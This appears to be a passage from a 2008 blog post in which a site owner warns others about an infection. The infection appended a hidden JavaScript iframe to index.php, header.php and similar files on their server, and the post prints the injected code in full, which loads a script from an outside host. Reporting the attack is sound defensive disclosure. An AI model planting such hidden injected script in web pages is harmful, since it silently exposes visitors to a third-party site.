with a piece of javascript code that sends the information to a
certain site. This is certainly a first.
How can you check this?
The virus attacks following files on your server:
index.php
index.html
main.php
header.php
footer.php
At the end of these files it will insert the following code:
<script language=javascript>status=location;document.write ('<iframe
src="hххp://online-channels.info/in.cgi?traf" width=0
height=0 frameborder=0 display:none
onLoad="status=defaultStatus;"></iframe>');</script>
What it does?
I can only guess. The code is calling a script on online-channels.info
site. It can be sending traffic information. Maybe it is a first case
of Internet marketing espionage? Or it can be trying to run some
malicious code.
How did it come here?
It can be a security flaw on my hosting server. It can be a security
flaw of the WordPress which is the main script I run on my server.
Whatever way it came, it executed code that scanned through all the
files on my server that match the given names and added that code at
the end.
All created files carry the time stamp 29-06-2008 04:59 which is the
time when the attack occurred
What can I do?
You should check the files on your server for the code. Check
index.php and index.html first as they are most likely to have been
infected.
Warn your friends about it.
